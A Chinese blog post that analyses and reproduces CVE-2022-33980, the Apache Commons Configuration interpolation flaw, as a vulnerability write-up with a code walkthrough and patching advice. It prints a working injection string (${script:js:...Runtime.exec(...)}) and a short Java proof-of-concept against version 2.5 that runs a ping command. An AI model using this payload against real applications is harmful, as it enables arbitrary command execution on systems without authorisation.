Apache Commons Configuration远程代码执行漏洞(CVE-2022-33980)分析&复现

本文介绍 Apache Commons Configuration 远程代码执行漏洞(CVE-2022-33980),详细分析了漏洞原理,并提供了修复建议。攻击者可通过恶意配置数据在目标系统上执行代码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、什么是Apache Commons Configuration

Apache Commons Configuration是Apache基金会下的一个开源项目组件。它是一个java应用程序的配置管理工具,提供了一种通用的管理方式,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。让Java开发者可以使用统一的接口读取不同类型的配置文件。

在这里插入图片描述

二、Apache Commons Configuration远程代码执行漏洞

漏洞状态
细节是否公开POC状态EXP状态在野利用
未发现已公开未发现未发现
漏洞描述

近日,Apache官方发布了关于Apache Commons Configuration远程代码执行漏洞(CVE-2022-33980)的安全公告。据公告描述,该漏洞是由于Apache Commons Configuration提供的Configuration变量解释功能存在缺陷,攻击者可利用该漏洞在特定情况下,构造恶意数据执行远程代码。

在这里插入图片描述

Apache Commons Configuration执行变量插值(Variable Interpolation)允许动态评估和扩展属性。插值的标准格式是"${prefix:name}",其中"prefix"用于定位执行插值的org.apache.commons.configuration2.interpol.Lookup实例。

从2.4版到2.7版,默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器。如公告中提到"script"可使用JVM脚本执行引擎(javax.script)执行表达式,若使用了不受信任的配置值,在受影响的版本中使用插值默认值的应用程序就很可能受到远程代码执行的影响。

  • “script” - execute expressions using the JVM script execution engine (javax.script)
  • “dns” - resolve dns records
  • “url” - load values from urls, including from remote servers
漏洞等级

目前漏洞POC已被泄露,攻击者利用该漏洞可导致远程命令执行,危害系统安全。

影响范围

2.4 <= Apache Commons Configuration <= 2.7

修复建议

官方已发布漏洞补丁及修复版本,酌情升级至安全版本,下载链接如下:https://commons.apache.org/proper/commons-configuration/changes-report.html

三、漏洞分析

在这里插入图片描述

如上图为漏洞的POC,使用java.lang.Runtime.getRuntime()exec()方法进行任意命令执行。其他执行引擎如下

${script:js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")}
${sys:os.version}
${env:PATH}

在这里插入图片描述

创建对象后进入interpolate()方法执行传入值的插值。如果换传入的是字符串,此方法会检查它是否包含变量。

进入resolveSingleVariable(final String strValue)方法,插入单个变量的字符串值。

在这里插入图片描述

随后进入extractVariableName(final String strValue)提取变量名。

在这里插入图片描述

进入resolve(final String var)解析后,可以看到变量var = "script:js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")"PREFIX_SEPARATOR = :,对变量进行分割解析。

在这里插入图片描述

获取数值后prefix = "script"随即进入fetchLookupForPrefix(prefix).lookup(name)获取执行器的对象。
在这里插入图片描述
在这里插入图片描述

通过获取到的对象,进入public String lookup(final String key)方法,其中key的值为"js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")"

在这里插入图片描述

至此,我们看到scriptEngine.eval(script)进行命令执行,此时执行命令的线程创建了PID=26152的执行进程。

在这里插入图片描述

然后程序向上返回,看到执行完成的信息value = "Process[pid=26152, exitValue=1]"

在这里插入图片描述

通过抓报文可以看到,成功的执行了ping -c1 10.10.10.10命令。

四、漏洞利用

使用该版本组件的应用程序理论上都会存在该漏洞,只是传入参数的难易程度决定了漏洞的利用情况。

本地POC链接见附录。

package main;

import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;

public class main {
    public static void  main(String []args) throws Exception{
        String cmd = new String();
        cmd = "${script:js:java.lang.Runtime.getRuntime().exec(\"ping -c1 10.10.10.10\")}";
        // cmd = "${sys:user.home}";
        // cmd = "${sys:os.version}";
        // cmd = "${env:PATH}";
        InterpolatorSpecification spec = new InterpolatorSpecification.Builder()
                .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
                .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
                .create();

        ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec);
        System.out.printf("POC: %s",interpolator.interpolate(cmd));
    }
}

使用maven构建项目

<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-configuration2 -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-configuration2</artifactId>
    <version>2.5</version>
</dependency>

五、附录

参考链接:
https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s
https://commons.apache.org/proper/commons-configuration/userguide/howto_basicfeatures.html#Variable_Interpolation
https://commons.apache.org/proper/commons-configuration/changes-report.html
https://github.com/tangxiaofeng7/CVE-2022-33980-Apache-Commons-Configuration-RCE

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

byzf

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值